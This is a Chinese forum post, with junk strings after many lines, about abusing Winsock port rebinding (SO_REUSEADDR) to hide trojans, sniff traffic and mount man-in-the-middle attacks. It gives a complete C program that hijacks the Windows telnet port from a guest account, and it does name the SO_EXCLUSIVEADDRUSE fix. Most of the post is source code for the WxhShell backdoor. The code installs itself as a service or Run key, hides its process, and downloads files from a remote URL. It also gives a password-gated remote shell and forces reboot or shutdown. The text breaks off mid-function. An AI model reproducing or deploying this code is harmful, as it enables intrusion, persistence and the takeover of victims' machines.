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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !f AvxR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H'!OEZ  
'*Dp2Y{7  
  saddr.sin_family = AF_INET; 0#Ug3_dfr  
*(r9c(xa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ERK{smL  
UJL'4 t/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _,K[kVn  
Ofoh4BL'1@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R>:D&$[RD  
4pXY7+e2'  
  这意味着什么?意味着可以进行如下的攻击: RZpjr !R  
R{A$|Ipaq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JleClB(2n/  
_IU5HT}2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =eW4?9Uq  
*zweZG8:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >+i+_^]  
Er@xrhH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M8 Bp-_  
"\;n t5L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =m (u=|N3  
0k\,z(e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CHqi5Z/+  
ak:f4dEd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GGHeC/4  
0)K~pV0aT  
  #include n?OMfx  
  #include  1 <T|  
  #include %|JL=E}%|  
  #include    V:5aq.o!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   };9/J3]m  
  int main() k??CXW  
  { 8_`C&vx  
  WORD wVersionRequested; Txe*$T,(  
  DWORD ret; "X?Zw$gRud  
  WSADATA wsaData; v?3xWXX,  
  BOOL val; o\Fv~^  
  SOCKADDR_IN saddr; 6A>bm{`c:  
  SOCKADDR_IN scaddr; vOKNBR2  
  int err; oo]P}ra  
  SOCKET s; GYf{~J  
  SOCKET sc; DU*qhW`X  
  int caddsize; PK&&Vu2M  
  HANDLE mt; yF|yZ{  
  DWORD tid;   U_aI!`WXd  
  wVersionRequested = MAKEWORD( 2, 2 ); G1zP^ogk  
  err = WSAStartup( wVersionRequested, &wsaData ); e9:pS WA-n  
  if ( err != 0 ) { Q8l vwip  
  printf("error!WSAStartup failed!\n"); gxI/MD~!>  
  return -1; M54czo=l  
  } ZK2&l8  
  saddr.sin_family = AF_INET; L* 6<h  
   ^P [#YO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zJ1M$ U  
I}y6ke!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W!9~bBF',  
  saddr.sin_port = htons(23); 8>vNa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {uZ|Oog(p  
  { 5\JV}  
  printf("error!socket failed!\n"); y[cc<wm$  
  return -1; FoYs<aER  
  }  v1?G  
  val = TRUE; Mt{cX,DS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^l ;Bo3^_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,_7m<(/f  
  { &DtI+ )[|  
  printf("error!setsockopt failed!\n"); Z!'k N\z  
  return -1; g?j^d:  
  } "<&o ;x<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6oq^n s-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "J}B lB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m\ qR myO  
Q>w)b]d~c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j[$+DCO#|m  
  { b=WkRj  
  ret=GetLastError(); ojj T  
  printf("error!bind failed!\n"); dKchQsgCg  
  return -1; q~AvxO  
  } vu*{+YpH  
  listen(s,2); 0&&P+adk  
  while(1) drwxrZt   
  { =''*'a-P  
  caddsize = sizeof(scaddr); Bz:Hp{7&  
  //接受连接请求 d|UH AX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,gkWksl9  
  if(sc!=INVALID_SOCKET) b-c6.aKf|  
  { h"2^` )!u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vj#m#1\ f  
  if(mt==NULL) \ sz](X  
  { s1%2({wP  
  printf("Thread Creat Failed!\n"); l<"B[  
  break; G[zysxd  
  } mkBQ TQGT  
  } 2Qp]r+!  
  CloseHandle(mt); C<^S$  
  } _\,4h2(  
  closesocket(s); 6is+\  
  WSACleanup(); rg%m   
  return 0; 3],(oQq^  
  }   FY+@fy  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^:O*Sx.CA  
  { K TE*Du  
  SOCKET ss = (SOCKET)lpParam; DuQ:82 3b  
  SOCKET sc; >Bm>/%2  
  unsigned char buf[4096]; $'a]lR  
  SOCKADDR_IN saddr; +}-cvM/*  
  long num; ^ilgd  
  DWORD val; 2v*X^2+  
  DWORD ret; 1o   
  //如果是隐藏端口应用的话,可以在此处加一些判断 bX%4[BKP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2|M,#2E-  
  saddr.sin_family = AF_INET; to\$'2F"q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OXoEA a  
  saddr.sin_port = htons(23); EScy!p\*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f,-'eW/j  
  { cZt5;"xgr]  
  printf("error!socket failed!\n"); ]zvOM^l~  
  return -1; Mw;^`ZxT  
  } (i@(ZG]/  
  val = 100; t$Ua&w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "MOmJYH  
  { K<u~[^R  
  ret = GetLastError(); _xP@kN~  
  return -1; n 2(\pQKm  
  } =G rg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h{E9rc1,  
  { lg jY\?  
  ret = GetLastError(); Lg6>\Z4  
  return -1; x1#6~283  
  } )YLZ"@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _p+q)#.W  
  { ljh,%#95=  
  printf("error!socket connect failed!\n"); ?3iN)*Ut  
  closesocket(sc); (L<G=XC  
  closesocket(ss); mx^rw*'JGC  
  return -1; F@X8a/;F-  
  } YE@!`!`d:  
  while(1) @y# u!}  
  { _x7>d:C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _1\H{x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  qJj5_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g aXF3v*j  
  num = recv(ss,buf,4096,0); p*Hf<)}  
  if(num>0) C2J@]&  
  send(sc,buf,num,0); Bq85g5Dc  
  else if(num==0) a'\fS7aE0l  
  break; "&kXAwe  
  num = recv(sc,buf,4096,0); t\<*Q3rl-  
  if(num>0) o6:p2W  
  send(ss,buf,num,0); `+WQ^dP@  
  else if(num==0) pkA(\0E8  
  break; m] IN-'  
  } z#olKBs  
  closesocket(ss); `XbV*{7  
  closesocket(sc); lN::veD  
  return 0 ; ns8I_H  
  } \,b_8^  
(K> 4^E8  
d!q)FRzi  
========================================================== wQ9fPOm  
mY]R~:  
下边附上一个代码,,WXhSHELL DzvGR)>/  
)XD$YI  
========================================================== rEZMX2  
hKp-"  
#include "stdafx.h" W#<ZaGsq  
:B4X/  
#include <stdio.h> |Iq\ZX%q  
#include <string.h> .n| M5X  
#include <windows.h> S 5nri(m  
#include <winsock2.h> as@I0e((  
#include <winsvc.h> ).>O6A4:C  
#include <urlmon.h>  0GiL(e|  
?-P W$p  
#pragma comment (lib, "Ws2_32.lib") *ps")?tlC  
#pragma comment (lib, "urlmon.lib") ;jpsH?3g  
.AHww7  
#define MAX_USER   100 // 最大客户端连接数 T$9tO{  
#define BUF_SOCK   200 // sock buffer x-s]3'!L  
#define KEY_BUFF   255 // 输入 buffer Y-:{a1/RKo  
ucC'SS  
#define REBOOT     0   // 重启 Ps7Bt(/  
#define SHUTDOWN   1   // 关机 t{ScK%S6  
]1n =O"vE  
#define DEF_PORT   5000 // 监听端口 mE_?E&T`|  
rM(2RI4O`0  
#define REG_LEN     16   // 注册表键长度 -*C+z!?BP  
#define SVC_LEN     80   // NT服务名长度 i!EN/Bd  
x AR9* <-  
// 从dll定义API '|l1-yD_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4P}<86xk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #a"gW,/K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IG~d7rh"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XQL]I$?  
Q68q76  
// wxhshell配置信息 !XS ;&s7[*  
struct WSCFG { go$zi5{h#  
  int ws_port;         // 监听端口 SdBo sB3v>  
  char ws_passstr[REG_LEN]; // 口令 Q+'QJ7fw'|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,v+~vXO&\  
  char ws_regname[REG_LEN]; // 注册表键名 _kT$/k  
  char ws_svcname[REG_LEN]; // 服务名 E h>qUa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k9?fE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D>Dch0{H,:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'uw=)8t7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8!{F6DG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^< O=<tN\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MHkTN  
Kr'5iFK7  
}; $&iw(BIq  
-%^KDyZ<&  
// default Wxhshell configuration %) 8 UyZG  
struct WSCFG wscfg={DEF_PORT, bjEm=4FI;  
    "xuhuanlingzhe", &]Q\@;]Aq  
    1, StJ&YYdD  
    "Wxhshell", YYUWBnf30G  
    "Wxhshell", V8.o}BWY  
            "WxhShell Service", 8(c,b  
    "Wrsky Windows CmdShell Service", Mm+kG'Z!S  
    "Please Input Your Password: ", 8P= z"y  
  1, N v,Yikf  
  "http://www.wrsky.com/wxhshell.exe", qkN{l88  
  "Wxhshell.exe" t1)Qa(#]  
    }; D|p`~(  
2-*zevPiG=  
// 消息定义模块 Jx8?x#}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K7H` Yt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (\<#fkeH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CPCjY|w7   
char *msg_ws_ext="\n\rExit."; .A`Q!  
char *msg_ws_end="\n\rQuit."; 2'zYrdem  
char *msg_ws_boot="\n\rReboot..."; +5:oW~ ;  
char *msg_ws_poff="\n\rShutdown..."; yY$:zc"J  
char *msg_ws_down="\n\rSave to "; yH0BNz8V  
3-5X^!C  
char *msg_ws_err="\n\rErr!"; -_RMiGM?T  
char *msg_ws_ok="\n\rOK!"; Oy^)lF/  
m:,S1V_jl  
char ExeFile[MAX_PATH]; HG/`5$L +}  
int nUser = 0; S~mpXH@  
HANDLE handles[MAX_USER]; & A%*sD6  
int OsIsNt; -~-BQ!!(  
ah\yw  
SERVICE_STATUS       serviceStatus; tz&oe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S0 AaJty  
uIkB&  
// 函数声明 2}P?N  
int Install(void); L`Lro:E?kL  
int Uninstall(void); E6  2{sA^  
int DownloadFile(char *sURL, SOCKET wsh); 1 \_S1ZS  
int Boot(int flag); t_PAXj  
void HideProc(void); D`2c61jyc  
int GetOsVer(void); CfoT$g  
int Wxhshell(SOCKET wsl); ? L A>5  
void TalkWithClient(void *cs); 2/K38t'-  
int CmdShell(SOCKET sock); `$*cW1  
int StartFromService(void); h`0'27\C  
int StartWxhshell(LPSTR lpCmdLine); rZBOWT  
0 G.y_<=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ORo +=2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )~X*&(7RR}  
0$9I.%4jAJ  
// 数据结构和表定义 /:j9 #kj  
SERVICE_TABLE_ENTRY DispatchTable[] = 9-9:]2~g!  
{ K(M@#t1_&  
{wscfg.ws_svcname, NTServiceMain}, *8*E\nZx!  
{NULL, NULL} 8I'Am"bc \  
}; 'r5[tK}  
(y xrK  
// 自我安装 <2Qh5umQ  
int Install(void) L8FLHT+R-  
{ ;i2N`t2  
  char svExeFile[MAX_PATH]; 3 #zw Y  
  HKEY key; \5wC&|WEB  
  strcpy(svExeFile,ExeFile); !PfIe94{`  
mQOYjy3  
// 如果是win9x系统,修改注册表设为自启动 qOKC2WD  
if(!OsIsNt) { &x(^=sTHI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vh~:{akR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Nh:O  
  RegCloseKey(key); +=y ktf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kS$HIOt823  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F+`DfI]/m  
  RegCloseKey(key); `2Buf8|a,  
  return 0; m*h, <,}-+  
    } cXO_g!&2A  
  } a?IL6$z  
} z.9 #AN=&[  
else { o'3t(dyyH  
xpf\S10e  
// 如果是NT以上系统,安装为系统服务 >o\[?QvP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6' M"-9?G  
if (schSCManager!=0) \@kY2,I V  
{ [1Dg_>lz  
  SC_HANDLE schService = CreateService Ah2%LXdHA  
  ( XB &-k<C  
  schSCManager, ]Qp0|45=  
  wscfg.ws_svcname, 8u::f`vi  
  wscfg.ws_svcdisp, ~%4#R4&  
  SERVICE_ALL_ACCESS, sa~.qmqu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0VV1!g  
  SERVICE_AUTO_START, ba?]eK   
  SERVICE_ERROR_NORMAL, 2'"$Y'  
  svExeFile, K%<Z"2!+  
  NULL, T|p$Ddt`+  
  NULL, %aX<p{EY  
  NULL, 2#nn}HEOC  
  NULL, uBk$zs  
  NULL H ~c+L'=  
  ); *xs8/?  
  if (schService!=0) p&F=<<C  
  { <3;/,>^ Pm  
  CloseServiceHandle(schService); K<b -|t9f  
  CloseServiceHandle(schSCManager); )gNHD?4x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %D z|p]49!  
  strcat(svExeFile,wscfg.ws_svcname); ,\5]n&T;r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E'LkoyI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >RxZ-.,a  
  RegCloseKey(key); +fzZ\  
  return 0; S<Q6b_D  
    } !+cRtCaA::  
  } -aGv#!aIl  
  CloseServiceHandle(schSCManager); n<7#?X7  
} H BmjB=  
} +MOUO$;fGt  
p&bQ_XOH  
return 1; &hs)}uM&$  
} pTmG\wA~$  
Dw{C_e  
// 自我卸载 R+Ke|C  
int Uninstall(void) tiwhG%?2  
{ &%J{C3Q9  
  HKEY key; a2iaP  
8(%iYs$  
if(!OsIsNt) { 2P9hx5PiV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kaUH#;c>_  
  RegDeleteValue(key,wscfg.ws_regname); A1\;6W:  
  RegCloseKey(key); 6R@ v>}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1O9V Ej5  
  RegDeleteValue(key,wscfg.ws_regname); wmY6&^?uS  
  RegCloseKey(key); \u,hS*v0  
  return 0; <s-_ieW'  
  } U,Z.MP Q  
} RKIqg4>E  
} @q5!3Nz  
else { L4S Fu.J'  
2NsI3M4$8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (a`z:dz}  
if (schSCManager!=0) k  `.-PU  
{ \0j|~/6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ OMcSd|nf  
  if (schService!=0) 34]f[jJ|  
  { ZWmmFKFG.  
  if(DeleteService(schService)!=0) { BWL~)Hx  
  CloseServiceHandle(schService); qVJV9n  
  CloseServiceHandle(schSCManager); J_U1eSz<j  
  return 0; Cb.~Dv !  
  } y"!+Fus9  
  CloseServiceHandle(schService); V}7I? G  
  } ngEjbCV+  
  CloseServiceHandle(schSCManager);  UX2`x9  
} sh}=#eb  
} kY xn5+~  
Vjj30f  
return 1; D4n ~ 2]  
} <JYV G9s}  
:(A]Bm3  
// 从指定url下载文件 rN$_(%m_N  
int DownloadFile(char *sURL, SOCKET wsh) rq}ew0&/  
{ _l}&|:  
  HRESULT hr; ^N`ar9Db  
char seps[]= "/"; tB}&-U|t[~  
char *token; y| @[?B  
char *file; H <F6o-*  
char myURL[MAX_PATH]; J9I!d.U  
char myFILE[MAX_PATH]; Gt\F),@  
Lc+wS@  
strcpy(myURL,sURL); K-k;`s#  
  token=strtok(myURL,seps); v?!x,H$Qd  
  while(token!=NULL) 69r<Z  
  { ![U|2x   
    file=token; N\HOo-X  
  token=strtok(NULL,seps); WK /Byd.Z  
  } (Pc:A! }  
*"O7ml]  
GetCurrentDirectory(MAX_PATH,myFILE); ./[%%"  
strcat(myFILE, "\\"); cRT@Cu  
strcat(myFILE, file); IR(JBB|xNQ  
  send(wsh,myFILE,strlen(myFILE),0); GJ ZT~  
send(wsh,"...",3,0); 6/.-V1*O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?$pp%  
  if(hr==S_OK) U $X"W'  
return 0; id&;  
else [)# ,~L3  
return 1; J'b *^K  
7DKbuUK  
} W84JB3p  
y&-j NOKLM  
// 系统电源模块 /V2 ^/`&;a  
int Boot(int flag) z~L(kf4  
{ 5R/k -h^`  
  HANDLE hToken; ~WehG<p v[  
  TOKEN_PRIVILEGES tkp; gI'4g ZH  
sR +=<u1  
  if(OsIsNt) { vM1f-I-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /*`u(d2g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @FdtM<X  
    tkp.PrivilegeCount = 1; QP >P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~H7m7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .1[K\t)2  
if(flag==REBOOT) { (.m0hN!~u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oh:g  
  return 0; xQ^zX7  
}  $3W[fC  
else { k^S=i_ U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oOmPbAY  
  return 0; qOV#$dkY  
} ,N?~je.  
  } #fRhG^QKp  
  else { 4nXS}bWf  
if(flag==REBOOT) { 3!,XR\`[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) } R;.~F  
  return 0; 3/@7$nV  
} bQr H8)  
else { ]j~V0 1p/e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SwV0q  
  return 0; SLD%8:Zn  
} b{b2L.  
} Ym8G=KA  
O0i_h<T  
return 1; o(u&n3Q'  
} '_@Y  
5nkx8JJ  
// win9x进程隐藏模块  .]k+hc`  
void HideProc(void) i"r&CS)sT  
{ 1*Yf[;L  
V&eti2 &zO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UMma|9l(i  
  if ( hKernel != NULL ) Gvb>M=9  
  { wbyY?tH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nz3j";d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8&IsZPq%l  
    FreeLibrary(hKernel); (I IPrW;>  
  } %r=uS.+hrF  
| Z0?  
return; e_kP=|u)g  
} Nh^T,nv*l  
{W)Kz_  
// 获取操作系统版本 4h@jJm  
int GetOsVer(void) (Ub=sC  
{ \j+O |#`|)  
  OSVERSIONINFO winfo; [V|,O'X ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rh5R kiF~  
  GetVersionEx(&winfo); lF2im5nZ?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >8"oO[U5>  
  return 1; /XeDN-{  
  else 2%m H  
  return 0; 0~iC#lHO  
} zcF~6-aQ  
o+4/L)h  
// 客户端句柄模块 `TYQ^Zm  
int Wxhshell(SOCKET wsl) %g5TU 6WP  
{ nL%;^`*8  
  SOCKET wsh; 6iV jAxR  
  struct sockaddr_in client; '_lyoVP  
  DWORD myID; L'BDS*  
puF'w:I (  
  while(nUser<MAX_USER) 9z$]hl  
{ Z3g6 ?2w6  
  int nSize=sizeof(client); z\Rs?v"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3l_Ko %qS  
  if(wsh==INVALID_SOCKET) return 1; 5Q#;4  
Kfa7}f_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DJ_,1F  
if(handles[nUser]==0) # =V%S 2~  
  closesocket(wsh); I= G%r/3  
else u_;*Ay  
  nUser++; MUhC6s\F  
  } w,bILv)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QM\v ruTB  
D>+&= 5{  
  return 0; L(\sO=t  
} &tB|l_p_-p  
4EQ7OGU  
// 关闭 socket )G\23P  
void CloseIt(SOCKET wsh) K{.s{;#  
{ 7F5 t&  
closesocket(wsh); e^&QT  
nUser--; 'Y IFHn$!  
ExitThread(0); M$DJ$G|Z  
} {hGr`Rh  
! E` Tt[  
// 客户端请求句柄 vA2@Db}  
void TalkWithClient(void *cs) 9uV/G7Geq  
{ \(Dq=UzQI  
l+Dl~o}  
  SOCKET wsh=(SOCKET)cs; #4%4iR5%  
  char pwd[SVC_LEN]; )IPnSh/ <  
  char cmd[KEY_BUFF]; S~d_SU~>`  
char chr[1]; '(mJ*Eb  
int i,j; pi sk v[  
(JH LWA H  
  while (nUser < MAX_USER) { 5LbU'5  
]wh8m1  
if(wscfg.ws_passstr) { I<e[/#5P\`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / d=i 0E3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r=Z#"68$  
  //ZeroMemory(pwd,KEY_BUFF); Rp4EB:*  
      i=0; !%5ae82~3  
  while(i<SVC_LEN) { X&o!xV -+  
[t*m$0[:  
  // 设置超时 \kqa4{7U(  
  fd_set FdRead; 3G9"La,b  
  struct timeval TimeOut; |7,|-s[R^  
  FD_ZERO(&FdRead); no- Lx-x  
  FD_SET(wsh,&FdRead); , mEFp_a+  
  TimeOut.tv_sec=8; %;yDiQ!+  
  TimeOut.tv_usec=0; 34-QgE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >8_#L2@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s `HSTq2  
Pk9s~}X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }hrLM[  
  pwd=chr[0]; s\i=-`  
  if(chr[0]==0xd || chr[0]==0xa) { sfNXIEr^  
  pwd=0; AVVL]9b_2  
  break; A"x1MjuqLM  
  } gvvl3`S{  
  i++; zvf:*Na")  
    } Qmle0ae  
Uhfm@1 cz&  
  // 如果是非法用户,关闭 socket 'bGL@H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i#$9>X  
} -FytkM^]6  
+ 5H9mk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /%C6e )7BL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _+g5;S5  
&o{I9MD  
while(1) { Oe4 l` =2  
K&0op 4&  
  ZeroMemory(cmd,KEY_BUFF); [R CUP.  
Gc>bli<-  
      // 自动支持客户端 telnet标准   ez=$]cln  
  j=0; [?x9NQ{  
  while(j<KEY_BUFF) { WLW'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s|Ls  
  cmd[j]=chr[0]; @iK=1\-2  
  if(chr[0]==0xa || chr[0]==0xd) { 0h-holUf}~  
  cmd[j]=0; biG=4?Xl  
  break; ^0"NcOzzxl  
  } zqfv|3-!}  
  j++; DrLNY"Zq  
    } }1]/dCv  
:bI4HXT3  
  // 下载文件 *6^|i}  
  if(strstr(cmd,"http://")) { 3#huC=zbf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >C y  
  if(DownloadFile(cmd,wsh)) 0l3v>ty  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;2PoW8  
  else vl*CU"4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RR!(,j^M  
  } '$pT:4EuGq  
  else { J2Y-D'*s  
"<ow;ciJF  
    switch(cmd[0]) { In^MZ)?  
  0cZyO$.  
  // 帮助 dl;~-'0  
  case '?': { p 2x OjS1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cj%SW <v|  
    break; #P*%FgROl  
  } dQ?4@  
  // 安装 #q`[(`Bx  
  case 'i': { 9C}Ie$\  
    if(Install()) R~8gw^w![  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Z5=GJM?$  
    else tagkklJ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t+Kxww58  
    break; C-d|;R}Ww  
    } }qmBn`3R  
  // 卸载 8^M5k%P  
  case 'r': { _Z+tb]  
    if(Uninstall()) pw{3I 2Ix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _F>1b16:/P  
    else #\N?ka}!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,{:c<W:A]  
    break; H .)}|  
    } ~fw 6sY#  
  // 显示 wxhshell 所在路径 HmKvu"3  
  case 'p': { Yao>F--?  
    char svExeFile[MAX_PATH]; '<~rV  
    strcpy(svExeFile,"\n\r"); w]]`/`  
      strcat(svExeFile,ExeFile); d=V4,:=S  
        send(wsh,svExeFile,strlen(svExeFile),0); W[PZQCL}K)  
    break; IF~i*  
    } :0IxnK(r&  
  // 重启 _'<V<OjVM!  
  case 'b': { ;KJJK#j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !O F#4N  
    if(Boot(REBOOT)) \DBoe :0~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;L4Cj$ q  
    else { }MP2)6  
    closesocket(wsh); FP<RoA? W  
    ExitThread(0); KJWYG^zI  
    } 9+@"DuYc6  
    break; 75i M_e\  
    } i@e.Uzn  
  // 关机 /*p4(D_A  
  case 'd': { d,[.=Jqv[  
